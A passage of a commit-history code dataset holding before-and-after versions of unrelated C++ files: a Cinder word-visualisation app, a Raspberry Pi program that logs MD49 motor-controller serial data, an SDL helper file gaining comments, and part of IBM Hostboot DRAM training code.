), timeline().getCurrentTime() + 0.25f );\n\n\t\/\/ move the selected node towards the center\n\t\n\ttimeline().apply( &mCurrentNode.mPos, getWindowCenter() + dirToCenter, 0.3f, EaseInQuint() );\n\ttimeline().apply( &mCurrentNode.mColor, ColorA( mCurrentNode.mColor().r, mCurrentNode.mColor().g, mCurrentNode.mColor().b, 0.0f ), 0.3f, EaseInAtan( 10 ) );\n\n\t\/\/ now add all the descendants of the clicked node\n\tvector<string> children( mDictionary->getDescendants( mCurrentNode.getWord() ) );\n\tlayoutWords( children, getLayoutRadius() );\n\t\n\t\/\/ mark our currently highlighted node as \"none\"\n\tmMouseOverNode = mNodes.end();\n\t\n\t\/\/ once everything is done animating, then we can allow selections, but for now, disable them\n\tmEnableSelections = false;\n\tstd::function<void()> cueAction = bind( &VisualDictionaryApp::enableSelections, this );\n\ttimeline().add( cueAction, timeline().getEndTime() - 2.0f );\n}\n\nvoid VisualDictionaryApp::update()\n{\n\tif( mDictionary->isCompleteWord( mCurrentNode.getWord() ) ){\n\t\tmCenterState.update( mCurrentNode );\n\t}\n\t\n\t\/\/ erase any nodes which have been marked as ready to be deleted\n\tmDyingNodes.remove_if( bind( &WordNode::shouldBeDeleted, std::placeholders::_1 ) );\n}\n\nvoid VisualDictionaryApp::draw()\n{\n\tgl::clear( Color( 0, 0, 0 ) );\n\tgl::enableAlphaBlending();\n\t\n\t\/\/ draw background image\n\tgl::color( Color::white() );\n\tmBgTex.enableAndBind();\n\tgl::drawSolidRect( getWindowBounds() );\n\t\n\t\n\tmCircleTex.bind();\n\t\n\t\/\/ draw the center circles\n\tmCenterState.draw();\n\t\n\t\/\/ draw the dying nodes\n\tmSmallCircleTex.bind();\n\tfor( list<WordNode>::const_iterator nodeIt = mDyingNodes.begin(); nodeIt != mDyingNodes.end(); ++nodeIt )\n\t\tnodeIt->draw();\n\t\n\t\/\/ draw all the non-mouseOver nodes\n\tfor( list<WordNode>::const_iterator nodeIt = mNodes.begin(); nodeIt != mNodes.end(); ++nodeIt ){\n\t\tif( nodeIt != mMouseOverNode )\n\t\t\tnodeIt->draw();\n\t}\n\t\n\t\/\/ if there is a mouseOverNode, draw it last so it is 'above' the non-mouseOver nodes\n\tif( mMouseOverNode != mNodes.end() )\n\t\tmMouseOverNode->draw();\n\t\n\t\/\/ if there is a currentNode (previously selected), draw it\n\tif( ! mCurrentNode.getWord().empty() )\n\t\tmCurrentNode.draw();\n\t\n\tmSmallCircleTex.disable();\n}\n\n\nCINDER_APP_BASIC( VisualDictionaryApp, RendererGl )\n<|endoftext|>"} {"text":"<commit_before>#include <iostream> \/* allows to perform standard input and output operations *\/\n#include <fstream>\n#include <stdio.h> \/* Standard input\/output definitions *\/\n#include <stdint.h> \/* Standard input\/output definitions *\/\n#include <stdlib.h> \/* defines several general purpose functions *\/\n#include <unistd.h> \/* UNIX standard function definitions *\/\n#include <fcntl.h> \/* File control definitions *\/\n#include <errno.h> \/* Error number definitions *\/\n#include <termios.h> \/* POSIX terminal control definitions *\/\n#include <ctype.h> \/* isxxx() *\/\n\n\nconst char* serialport=\"\/dev\/ttyAMA0\"; \/* defines used serialport *\/\nint serialport_bps=B38400; \/* defines baudrate od serialport *\/\nint32_t EncoderL; \/* stores encoder value left read from md49 *\/\nint32_t EncoderR; \/* stores encoder value right read from md49 *\/\nunsigned char speed_l=128, speed_r=128; \/* speed to set for MD49 *\/\n\nint filedesc; \/\/ File descriptor of serial port we will talk to\nint fd; \/* serial port file descriptor *\/\nunsigned char serialBuffer[16]; \/* Serial buffer to store uart data *\/\nstruct termios orig; \/\/ Port options\n\nusing namespace std;\n\nint openSerialPort(const char * device, int bps);\nvoid writeBytes(int descriptor, int count);\nvoid readBytes(int descriptor, int count);\nvoid read_MD49_Data (void);\nvoid set_MD49_speed (unsigned char speed_l, unsigned char speed_r);\n\nchar* itoa(int value, char* result, int base) {\n \/\/ check that the base if valid\n if (base < 2 || base > 36) { *result = '\\0'; return result; }\n\n char* ptr = result, *ptr1 = result, tmp_char;\n int tmp_value;\n\n do {\n tmp_value = value;\n value \/= base;\n *ptr++ = \"zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz\" [35 + (tmp_value - value * base)];\n } while ( value );\n\n \/\/ Apply negative sign\n if (tmp_value < 0) *ptr++ = '-';\n *ptr-- = '\\0';\n while(ptr1 < ptr) {\n tmp_char = *ptr;\n *ptr--= *ptr1;\n *ptr1++ = tmp_char;\n }\n return result;\n }\n\nint main( int argc, char* argv[] ){\n\n \/\/ Open serial port\n \/\/ ****************\n filedesc = openSerialPort(\"\/dev\/ttyAMA0\", serialport_bps);\n if (filedesc == -1) exit(1);\n usleep(10000); \/\/ Sleep for UART to power up and set options\n\n\n\n while( 1 )\n {\n\n \/\/ Read encoder and other data from MD49\n \/\/ and put into sqlite db\n \/\/ *************************************\n read_MD49_Data();\n usleep(250000);\n \/\/ Read commands from sqlite db and\n \/\/ set speed and other commands to MD49\n \/\/ ************************************\n\n\n }\/\/ end.mainloop\n\n return 1;\n} \/\/ end.main\n\nint openSerialPort(const char * device, int bps){\n struct termios neu;\n char buf[128];\n\n \/\/fd = open(device, O_RDWR | O_NOCTTY | O_NDELAY | O_NONBLOCK);\n fd = open(device, O_RDWR | O_NOCTTY);\n\n if (fd == -1)\n {\n sprintf(buf, \"openSerialPort %s error\", device);\n perror(buf);\n }\n else\n {\n tcgetattr(fd, &orig); \t\t\t\t\t\t\/* save current serial settings *\/\n tcgetattr(fd, &neu);\n cfmakeraw(&neu);\n \/\/fprintf(stderr, \"speed=%d\\n\", bps);\n cfsetispeed(&neu, bps);\n cfsetospeed(&neu, bps);\n tcflush(fd, TCIFLUSH);\n tcsetattr(fd, TCSANOW, &neu); \t\t\t\t\/* set new serial settings *\/\n fcntl (fd, F_SETFL, O_RDWR);\n }\n return fd;\n}\n\nvoid writeBytes(int descriptor, int count) {\n if ((write(descriptor, serialBuffer, count)) == -1) {\t\/\/ Send data out\n perror(\"Error writing\");\n close(descriptor);\t\t\t\t\/\/ Close port if there is an error\n exit(1);\n }\n\n}\n\nvoid readBytes(int descriptor, int count) {\n if (read(descriptor, serialBuffer, count) == -1) {\t\/\/ Read back data into buf[]\n perror(\"Error reading \");\n close(descriptor);\t\t\t\t\/\/ Close port if there is an error\n exit(1);\n }\n}\n\nvoid read_MD49_Data (void){\n serialBuffer[0] = 82;\t\t\t\t\t\t\t\/\/ 82=R Steuerbyte um alle Daten vom MD49 zu lesen\n writeBytes(fd, 1);\n \/\/Daten lesen und in Array schreiben\n readBytes(fd, 18);\n\n ofstream myfile;\n myfile.open (\"example.txt\");\n \/\/myfile << \"Writing this to a file.\\n\";\n\n char buffer[33];\n\n printf(\"\\033[2J\"); \/* clear the screen *\/\n printf(\"\\033[H\"); \/* position cursor at top-left corner *\/\n printf (\"MD49-Data read from AVR-Master: \\n\");\n printf(\"====================================================== \\n\");\n printf(\"Encoder1 Byte1: %i \",serialBuffer[0]);\n myfile << itoa(serialBuffer[0],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte2: %i \",serialBuffer[1]);\n myfile << itoa(serialBuffer[1],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte3: % i \",serialBuffer[2]);\n myfile << itoa(serialBuffer[2],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte4: %i \\n\",serialBuffer[3]);\n myfile << itoa(serialBuffer[3],buffer,10);\n myfile << \"\\n\";\n printf(\"Encoder2 Byte1: %i \",serialBuffer[4]);\n myfile << itoa(serialBuffer[4],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte2: %i \",serialBuffer[5]);\n myfile << itoa(serialBuffer[5],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte3: %i \",serialBuffer[6]);\n myfile << itoa(serialBuffer[6],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte4: %i \\n\",serialBuffer[7]);\n myfile << itoa(serialBuffer[7],buffer,10);\n myfile << \"\\n\";\n printf(\"EncoderL: %i \",EncoderL);\n myfile << itoa(EncoderL,buffer,10);\n myfile << \"\\n\";\n printf(\"EncoderR: %i \\n\",EncoderR);\n myfile << itoa(EncoderR,buffer,10);\n myfile << \"\\n\";\n printf(\"====================================================== \\n\");\n printf(\"Speed1: %i \",serialBuffer[8]);\n myfile << itoa(serialBuffer[8],buffer,10);\n myfile << \"\\n\";\n printf(\"Speed2: %i \\n\",serialBuffer[9]);\n myfile << itoa(serialBuffer[9],buffer,10);\n myfile << \"\\n\";\n printf(\"Volts: %i \\n\",serialBuffer[10]);\n myfile << itoa(serialBuffer[10],buffer,10);\n myfile << \"\\n\";\n printf(\"Current1: %i \",serialBuffer[11]);\n myfile << itoa(serialBuffer[11],buffer,10);\n myfile << \"\\n\";\n printf(\"Current2: %i \\n\",serialBuffer[12]);\n myfile << itoa(serialBuffer[12],buffer,10);\n myfile << \"\\n\";\n printf(\"Error: %i \\n\",serialBuffer[13]);\n myfile << itoa(serialBuffer[13],buffer,10);\n myfile << \"\\n\";\n printf(\"Acceleration: %i \\n\",serialBuffer[14]);\n myfile << itoa(serialBuffer[14],buffer,10);\n myfile << \"\\n\";\n printf(\"Mode: %i \\n\",serialBuffer[15]);\n myfile << itoa(serialBuffer[15],buffer,10);\n myfile << \"\\n\";\n printf(\"Regulator: %i \\n\",serialBuffer[16]);\n myfile << itoa(serialBuffer[16],buffer,10);\n myfile << \"\\n\";\n printf(\"Timeout: %i \\n\",serialBuffer[17]);\n myfile << itoa(serialBuffer[17],buffer,10);\n myfile << \"\\n\";\n\n EncoderL = serialBuffer[0] << 24; \/\/ Put together first encoder value\n EncoderL |= (serialBuffer[1] << 16);\n EncoderL |= (serialBuffer[2] << 8);\n EncoderL |= (serialBuffer[3]);\n EncoderR = serialBuffer[4] << 24; \/\/ Put together second encoder value\n EncoderR |= (serialBuffer[5] << 16);\n EncoderR |= (serialBuffer[6] << 8);\n EncoderR |= (serialBuffer[7]);\n\n myfile.close();\n}\n\nvoid set_MD49_speed (unsigned char speed_l, unsigned char speed_r){\n serialBuffer[0] = 88;\t\t\t\t\t\/\/ 88 =X Steuerbyte um Commands an MD49 zu senden\n serialBuffer[1] = 115;\t\t\t\t\t\/\/ 115=s Steuerbyte setSpeed\n serialBuffer[2] = speed_l;\t\t\t\t\/\/ speed1\n serialBuffer[3] = speed_r;\t\t\t\t\/\/ speed2\n writeBytes(fd, 4);\n}\n<commit_msg>Update code<commit_after>#include <iostream> \/* allows to perform standard input and output operations *\/\n#include <fstream>\n#include <stdio.h> \/* Standard input\/output definitions *\/\n#include <stdint.h> \/* Standard input\/output definitions *\/\n#include <stdlib.h> \/* defines several general purpose functions *\/\n#include <unistd.h> \/* UNIX standard function definitions *\/\n#include <fcntl.h> \/* File control definitions *\/\n#include <errno.h> \/* Error number definitions *\/\n#include <termios.h> \/* POSIX terminal control definitions *\/\n#include <ctype.h> \/* isxxx() *\/\n\n\nconst char* serialport=\"\/dev\/ttyAMA0\"; \/* defines used serialport *\/\nint serialport_bps=B38400; \/* defines baudrate od serialport *\/\nint32_t EncoderL; \/* stores encoder value left read from md49 *\/\nint32_t EncoderR; \/* stores encoder value right read from md49 *\/\nunsigned char speed_l=128, speed_r=128; \/* speed to set for MD49 *\/\n\nint filedesc; \/\/ File descriptor of serial port we will talk to\nint fd; \/* serial port file descriptor *\/\nunsigned char serialBuffer[16]; \/* Serial buffer to store uart data *\/\nstruct termios orig; \/\/ Port options\n\nusing namespace std;\n\nint openSerialPort(const char * device, int bps);\nvoid writeBytes(int descriptor, int count);\nvoid readBytes(int descriptor, int count);\nvoid read_MD49_Data (void);\nvoid set_MD49_speed (unsigned char speed_l, unsigned char speed_r);\n\nchar* itoa(int value, char* result, int base) {\n \/\/ check that the base if valid\n if (base < 2 || base > 36) { *result = '\\0'; return result; }\n\n char* ptr = result, *ptr1 = result, tmp_char;\n int tmp_value;\n\n do {\n tmp_value = value;\n value \/= base;\n *ptr++ = \"zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz\" [35 + (tmp_value - value * base)];\n } while ( value );\n\n \/\/ Apply negative sign\n if (tmp_value < 0) *ptr++ = '-';\n *ptr-- = '\\0';\n while(ptr1 < ptr) {\n tmp_char = *ptr;\n *ptr--= *ptr1;\n *ptr1++ = tmp_char;\n }\n return result;\n }\n\nint main( int argc, char* argv[] ){\n\n \/\/ Open serial port\n \/\/ ****************\n filedesc = openSerialPort(\"\/dev\/ttyAMA0\", serialport_bps);\n if (filedesc == -1) exit(1);\n usleep(10000); \/\/ Sleep for UART to power up and set options\n\n\n\n while( 1 )\n {\n\n \/\/ Read encoder and other data from MD49\n \/\/ and put into sqlite db\n \/\/ *************************************\n read_MD49_Data();\n usleep(250000);\n \/\/ Read commands from sqlite db and\n \/\/ set speed and other commands to MD49\n \/\/ ************************************\n\n\n }\/\/ end.mainloop\n\n return 1;\n} \/\/ end.main\n\nint openSerialPort(const char * device, int bps){\n struct termios neu;\n char buf[128];\n\n \/\/fd = open(device, O_RDWR | O_NOCTTY | O_NDELAY | O_NONBLOCK);\n fd = open(device, O_RDWR | O_NOCTTY);\n\n if (fd == -1)\n {\n sprintf(buf, \"openSerialPort %s error\", device);\n perror(buf);\n }\n else\n {\n tcgetattr(fd, &orig); \t\t\t\t\t\t\/* save current serial settings *\/\n tcgetattr(fd, &neu);\n cfmakeraw(&neu);\n \/\/fprintf(stderr, \"speed=%d\\n\", bps);\n cfsetispeed(&neu, bps);\n cfsetospeed(&neu, bps);\n tcflush(fd, TCIFLUSH);\n tcsetattr(fd, TCSANOW, &neu); \t\t\t\t\/* set new serial settings *\/\n fcntl (fd, F_SETFL, O_RDWR);\n }\n return fd;\n}\n\nvoid writeBytes(int descriptor, int count) {\n if ((write(descriptor, serialBuffer, count)) == -1) {\t\/\/ Send data out\n perror(\"Error writing\");\n close(descriptor);\t\t\t\t\/\/ Close port if there is an error\n exit(1);\n }\n\n}\n\nvoid readBytes(int descriptor, int count) {\n if (read(descriptor, serialBuffer, count) == -1) {\t\/\/ Read back data into buf[]\n perror(\"Error reading \");\n close(descriptor);\t\t\t\t\/\/ Close port if there is an error\n exit(1);\n }\n}\n\nvoid read_MD49_Data (void){\n serialBuffer[0] = 82;\t\t\t\t\t\t\t\/\/ 82=R Steuerbyte um alle Daten vom MD49 zu lesen\n writeBytes(fd, 1);\n \/\/Daten lesen und in Array schreiben\n readBytes(fd, 18);\n\n ofstream myfile;\n myfile.open (\"md49_data.txt\");\n \/\/myfile << \"Writing this to a file.\\n\";\n\n char buffer[33];\n\n printf(\"\\033[2J\"); \/* clear the screen *\/\n printf(\"\\033[H\"); \/* position cursor at top-left corner *\/\n printf (\"MD49-Data read from AVR-Master: \\n\");\n printf(\"====================================================== \\n\");\n printf(\"Encoder1 Byte1: %i \",serialBuffer[0]);\n myfile << itoa(serialBuffer[0],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte2: %i \",serialBuffer[1]);\n myfile << itoa(serialBuffer[1],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte3: % i \",serialBuffer[2]);\n myfile << itoa(serialBuffer[2],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte4: %i \\n\",serialBuffer[3]);\n myfile << itoa(serialBuffer[3],buffer,10);\n myfile << \"\\n\";\n printf(\"Encoder2 Byte1: %i \",serialBuffer[4]);\n myfile << itoa(serialBuffer[4],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte2: %i \",serialBuffer[5]);\n myfile << itoa(serialBuffer[5],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte3: %i \",serialBuffer[6]);\n myfile << itoa(serialBuffer[6],buffer,10);\n myfile << \"\\n\";\n printf(\"Byte4: %i \\n\",serialBuffer[7]);\n myfile << itoa(serialBuffer[7],buffer,10);\n myfile << \"\\n\";\n printf(\"EncoderL: %i \",EncoderL);\n myfile << itoa(EncoderL,buffer,10);\n myfile << \"\\n\";\n printf(\"EncoderR: %i \\n\",EncoderR);\n myfile << itoa(EncoderR,buffer,10);\n myfile << \"\\n\";\n printf(\"====================================================== \\n\");\n printf(\"Speed1: %i \",serialBuffer[8]);\n myfile << itoa(serialBuffer[8],buffer,10);\n myfile << \"\\n\";\n printf(\"Speed2: %i \\n\",serialBuffer[9]);\n myfile << itoa(serialBuffer[9],buffer,10);\n myfile << \"\\n\";\n printf(\"Volts: %i \\n\",serialBuffer[10]);\n myfile << itoa(serialBuffer[10],buffer,10);\n myfile << \"\\n\";\n printf(\"Current1: %i \",serialBuffer[11]);\n myfile << itoa(serialBuffer[11],buffer,10);\n myfile << \"\\n\";\n printf(\"Current2: %i \\n\",serialBuffer[12]);\n myfile << itoa(serialBuffer[12],buffer,10);\n myfile << \"\\n\";\n printf(\"Error: %i \\n\",serialBuffer[13]);\n myfile << itoa(serialBuffer[13],buffer,10);\n myfile << \"\\n\";\n printf(\"Acceleration: %i \\n\",serialBuffer[14]);\n myfile << itoa(serialBuffer[14],buffer,10);\n myfile << \"\\n\";\n printf(\"Mode: %i \\n\",serialBuffer[15]);\n myfile << itoa(serialBuffer[15],buffer,10);\n myfile << \"\\n\";\n printf(\"Regulator: %i \\n\",serialBuffer[16]);\n myfile << itoa(serialBuffer[16],buffer,10);\n myfile << \"\\n\";\n printf(\"Timeout: %i \\n\",serialBuffer[17]);\n myfile << itoa(serialBuffer[17],buffer,10);\n myfile << \"\\n\";\n\n EncoderL = serialBuffer[0] << 24; \/\/ Put together first encoder value\n EncoderL |= (serialBuffer[1] << 16);\n EncoderL |= (serialBuffer[2] << 8);\n EncoderL |= (serialBuffer[3]);\n EncoderR = serialBuffer[4] << 24; \/\/ Put together second encoder value\n EncoderR |= (serialBuffer[5] << 16);\n EncoderR |= (serialBuffer[6] << 8);\n EncoderR |= (serialBuffer[7]);\n\n myfile.close();\n}\n\nvoid set_MD49_speed (unsigned char speed_l, unsigned char speed_r){\n serialBuffer[0] = 88;\t\t\t\t\t\/\/ 88 =X Steuerbyte um Commands an MD49 zu senden\n serialBuffer[1] = 115;\t\t\t\t\t\/\/ 115=s Steuerbyte setSpeed\n serialBuffer[2] = speed_l;\t\t\t\t\/\/ speed1\n serialBuffer[3] = speed_r;\t\t\t\t\/\/ speed2\n writeBytes(fd, 4);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <common.hpp>\n\nint debugCount=0;\npair<float,float> HotspotPos[] = {\n\t\/\/ TOP_LEFT,\n\t{0.0,0.0},\n\t\/\/ TOP,\n\t{0.5,0.0},\n\t\/\/ TOP_RIGHT,\n\t{1.0,0.0},\n\t\/\/ LEFT,\n\t{0.0,0.5},\n\t\/\/ CENTER,\n\t{0.5,0.5},\n\t\/\/ RIGHT,\n\t{1.0,0.5},\n\t\/\/ BOTTOM_LEFT,\n\t{0.0,1.0},\n\t\/\/ BOTTOM,\n\t{0.5,1.0},\n\t\/\/ BOTTOM_RIGHT\n\t{1.0,1.0}\n};\n\nSDL_Color MakeColor(int r,int g,int b,int a) {\n\tSDL_Color color;\n\tcolor.r=r;\n\tcolor.g=g;\n\tcolor.b=b;\n\tcolor.a=a;\n\treturn color;\n}\n\n\nbool equals(const float &a,const float &b) {\n\treturn (std::fabs((a-b))<=PRECISION);\n}\n\nfloat closeDist(const float &from,const float &to,const float &change) {\n\tif (abs(from-to)<change)return to;\n\tif (from>to)return from - change;\n\treturn from + change;\n}\n\nstring FloatToStr(float f) {\n\tchar s[15];\n\tsprintf(s,\"%.2f\",f);\n\treturn s;\n}\n<commit_msg>Applies Comments Technique to file common.cpp<commit_after>\/*\n * File: common.cpp\n *\n * Description: Implements common functions\n *\/\n\n#include <common.hpp>\n\n\/\/ Global variable used as debug counter\nint debugCount = 0;\n\n\/\/ Hotspot screen positions to be used as shortcuts\n\/\/ The number on the left is x axis and the right one is y axis\npair<float,float> HotspotPos[] = {\n\t\/\/ TOP_LEFT\n\t{0.0,0.0},\n\t\/\/ TOP\n\t{0.5,0.0},\n\t\/\/ TOP_RIGHT\n\t{1.0,0.0},\n\t\/\/ LEFT\n\t{0.0,0.5},\n\t\/\/ CENTER\n\t{0.5,0.5},\n\t\/\/ RIGHT\n\t{1.0,0.5},\n\t\/\/ BOTTOM_LEFT\n\t{0.0,1.0},\n\t\/\/ BOTTOM\n\t{0.5,1.0},\n\t\/\/ BOTTOM_RIGHT\n\t{1.0,1.0}\n};\n\n\/\/ Returns a color generated by the params\nSDL_Color MakeColor(int r,\t\t\/\/ red value, \trange: 0 -> 255\n\t\t\t\t\t\t\t\t\t\tint g,\t\t\/\/ green value, range: 0 -> 255\n\t\t\t\t\t\t\t\t\t\tint b,\t\t\/\/ blue value,\trange: 0 -> 255\n\t\t\t\t\t\t\t\t\t\tint a) {\t\/\/ alpha value, range: unknown\n\tSDL_Color color;\n\n\tcolor.r = r;\n\tcolor.g = g;\n\tcolor.b = b;\n\tcolor.a = a;\n\n\treturn color;\n}\n\n\/\/ Function that compares two float constants\n\/\/ Returns true if the difference between them is <= than 0.0001 (PRECISION)\nbool equals(const float &a, const float &b) {\n\treturn (std::fabs((a-b)) <= PRECISION);\n}\n\n\/\/ TODO: refactorate for better understanding\n\/\/ Function that cannot be comprehended by mere human beings\nfloat closeDist(const float &from, const float &to, const float &change) {\n\tif (abs(from - to) < change) {\n\t\treturn to;\n\t}\n\n\tif (from > to) {\n\t\treturn from - change;\n\t}\n\n\treturn from + change;\n}\n\n\/\/ Converts a float number to a string and returns it\nstring FloatToStr(float f) {\n\tchar s[15];\n\n\tsprintf(s,\"%.2f\",f);\n\n\treturn s;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_draminit_training.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_draminit_training.C\n\/\/\/ @brief Train dram\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#include <fapi2.H>\n#include <mss.H>\n\n#include <p9_mss_draminit_training.H>\n\nusing fapi2::TARGET_TYPE_MCBIST;\nusing fapi2::TARGET_TYPE_MCA;\n\nextern \"C\"\n{\n \/\/\/\n \/\/\/ @brief Train dram\n \/\/\/ @param[in] i_target, the McBIST of the ports of the dram you're training\n \/\/\/ @param[in] i_special_training, optional CAL_STEP_ENABLE override. Used in sim, debug\n \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n \/\/\/\n fapi2::ReturnCode p9_mss_draminit_training( const fapi2::Target<TARGET_TYPE_MCBIST>& i_target,\n const uint16_t i_special_training )\n {\n fapi2::buffer<uint16_t> l_cal_steps_enabled = i_special_training;\n\n FAPI_INF(\"Start draminit training\");\n\n uint8_t l_reset_disable = 0;\n FAPI_TRY( mss::draminit_reset_disable(l_reset_disable) );\n\n \/\/ Configure the CCS engine.\n {\n fapi2::buffer<uint64_t> l_ccs_config;\n\n FAPI_TRY( mss::ccs::read_mode(i_target, l_ccs_config) );\n\n \/\/ It's unclear if we want to run with this true or false. Right now (10\/15) this\n \/\/ has to be false. Shelton was unclear if this should be on or off in general BRS\n mss::ccs::stop_on_err(i_target, l_ccs_config, false);\n mss::ccs::ue_disable(i_target, l_ccs_config, false);\n mss::ccs::copy_cke_to_spare_cke(i_target, l_ccs_config, true);\n\n \/\/ Hm. Centaur sets this up for the longest duration possible. Can we do better?\n mss::ccs::cal_count(i_target, l_ccs_config, ~0, ~0);\n\n#ifndef JIM_SAYS_TURN_OFF_ECC\n mss::ccs::disable_ecc(i_target, l_ccs_config);\n#endif\n FAPI_TRY( mss::ccs::write_mode(i_target, l_ccs_config) );\n }\n\n \/\/ Clean out any previous calibration results, set bad-bits and configure the ranks.\n FAPI_DBG(\"MCA's on this McBIST: %d\", i_target.getChildren<TARGET_TYPE_MCA>().size());\n\n for( auto p : i_target.getChildren<TARGET_TYPE_MCA>())\n {\n mss::ccs::program<TARGET_TYPE_MCBIST, TARGET_TYPE_MCA> l_program;\n\n \/\/ Setup a series of register probes which we'll see during the polling loop\n \/\/ Leaving these probes in here as we need them from time to time, but they\n \/\/ take up a lot of sim time, so we like to remove them simply\n#ifdef TRAINING_POLLING_PROBES\n l_program.iv_probes =\n {\n \/\/ One block for each DP16\n {p, \"wr_cntr_status0 (dp16 0)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_0},\n {p, \"wr_cntr_status1 (dp16 0)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_0},\n {p, \"wr_cntr_status2 (dp16 0)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_0},\n {p, \"wr_lvl_status (dp16 0)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_0},\n\n {p, \"wr_cntr_status0 (dp16 1)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_1},\n {p, \"wr_cntr_status1 (dp16 1)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_1},\n {p, \"wr_cntr_status2 (dp16 1)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_1},\n {p, \"wr_lvl_status (dp16 1)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_1},\n\n {p, \"wr_cntr_status0 (dp16 2)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_2},\n {p, \"wr_cntr_status1 (dp16 2)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_2},\n {p, \"wr_cntr_status2 (dp16 2)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_2},\n {p, \"wr_lvl_status (dp16 2)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_2},\n\n {p, \"wr_cntr_status0 (dp16 3)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_3},\n {p, \"wr_cntr_status1 (dp16 3)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_3},\n {p, \"wr_cntr_status2 (dp16 3)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_3},\n {p, \"wr_lvl_status (dp16 3)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_3},\n\n {p, \"wr_cntr_status0 (dp16 4)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_4},\n {p, \"wr_cntr_status1 (dp16 4)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_4},\n {p, \"wr_cntr_status2 (dp16 4)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_4},\n {p, \"wr_lvl_status (dp16 4)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_4},\n };\n#endif\n \/\/ Delays in the CCS instruction ARR1 for training are supposed to be 0xFFFF,\n \/\/ and we're supposed to poll for the done or timeout bit. But we don't want\n \/\/ to wait 0xFFFF cycles before we start polling - that's too long. So we put\n \/\/ in a best-guess of how long to wait. This, in a perfect world, would be the\n \/\/ time it takes one rank to train one training algorithm times the number of\n \/\/ ranks we're going to train. We fail-safe as worst-case we simply poll the\n \/\/ register too much - so we can tune this as we learn more.\n l_program.iv_poll.iv_initial_sim_delay = mss::DELAY_100US;\n l_program.iv_poll.iv_initial_sim_delay = 200;\n l_program.iv_poll.iv_poll_count = 0xFFFF;\n\n \/\/ Returned from set_rank_pairs, it tells us how many rank pairs\n \/\/ we configured on this port.\n std::vector<uint64_t> l_pairs;\n\n#ifdef CAL_STATUS_DOESNT_REPORT_COMPLETE\n \/\/ This isn't correct - shouldn't be setting\n static const uint64_t CLEAR_CAL_COMPLETE = 0x000000000000F000;\n FAPI_TRY( mss::putScom(p, MCA_DDRPHY_PC_INIT_CAL_STATUS_P0, CLEAR_CAL_COMPLETE) );\n#endif\n FAPI_TRY( mss::putScom(p, MCA_DDRPHY_PC_INIT_CAL_ERROR_P0, 0) );\n FAPI_TRY( mss::putScom(p, MCA_DDRPHY_PC_INIT_CAL_CONFIG0_P0, 0) );\n\n \/\/ Disable port fails as it doesn't appear the MC handles initial cal timeouts\n \/\/ correctly (cal_length.) BRS, see conversation with Brad Michael\n FAPI_TRY( mss::change_port_fail_disable(p, mss::ON ) );\n\n \/\/ The following registers must be configured to the correct operating environment:\n\n \/\/ Unclear, can probably be 0's for sim BRS\n \/\/ • Section 5.2.5.10 SEQ ODT Write Configuration {0-3} on page 422\n\n FAPI_TRY( mss::reset_seq_config0(p) );\n FAPI_TRY( mss::reset_seq_rd_wr_data(p) );\n\n FAPI_TRY( mss::reset_odt_config(p) );\n\n \/\/ These are reset in phy_scominit\n \/\/ • Section 5.2.6.1 WC Configuration 0 Register on page 434\n \/\/ • Section 5.2.6.2 WC Configuration 1 Register on page 436\n \/\/ • Section 